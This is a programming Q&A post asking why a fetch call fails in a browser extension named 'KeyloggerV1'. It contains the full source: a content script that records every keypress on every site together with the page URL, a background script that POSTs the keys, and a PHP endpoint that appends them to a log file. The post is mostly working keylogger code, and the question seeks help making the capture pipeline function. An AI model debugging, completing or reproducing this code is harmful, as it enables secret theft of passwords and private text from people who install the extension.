Fetch Failed loading : POST - json

Question

A Fetch request fails with an error stating that the JSON code is not valid. I used my extension to send a POST request to a PHP file.
Below is the error message I received:
Error: SyntaxError: Unexpected token '<', "<!DOCTYPE "... is not valid JSON
Fetch failed loading: POST "<URL>"
For some reason, I received this error message when sending this information to PHP. If I could receive a response from you in advance, I would appreciate it.
content.js
chrome.runtime.onConnect.addListener(function(port){})
chrome.manifest = chrome.runtime.getManifest();
//});
var keystrokes = "";
window.addEventListener('keypress', function(e) {
if (e.key.length > 1 && e.key != " ") {
keystrokes = e.key;
alert(e.key);
}
else {
keystrokes = e.key;
}
var ApiUrl = "http://localhost:80/KeyloggerV1/app.php"
var JSONdata = {
keys: keystrokes,
site: window.location.toString(),
}
console.log(JSON.stringify(JSONdata));
chrome.runtime.sendMessage({
contentScriptQuery: "postData"
, data: JSONdata
, url: ApiUrl
}, function (response) {
if (response != undefined && response != "") {
console.log(response);
}
else {
console.log(null);
}
});
});
background.js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
if (request.contentScriptQuery == "postData") {
fetch(request.url, {
method: 'POST',
headers: {
'Accept': 'application/json, application/xml, text/plain, text/html, *.*',
'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'
},
body: 'keys=' + request.data ,
})
.then(response => response.json())
.then(response => sendResponse(response))
.catch(error => console.log('Error:', error));
return true;
}
});
PHP file
<?php
header("Content-Type: application/json; charset=UTF-8");
session_start();
if (!isset($_POST['keys'])) {
echo("Didn't received any new KEY strokes Yet!");
exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_txt = fopen("C:\xampp\htdocs\KeyloggerV1\file.txt","a+");
if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
$_SESSION['site'] = $_POST['site'];
fwrite($file_txt, "| site : ".$_POST['site']." | ");
}
fwrite($file_txt, $_POST['keys']);
fclose($file_txt);
echo ("character saved successfully");
?>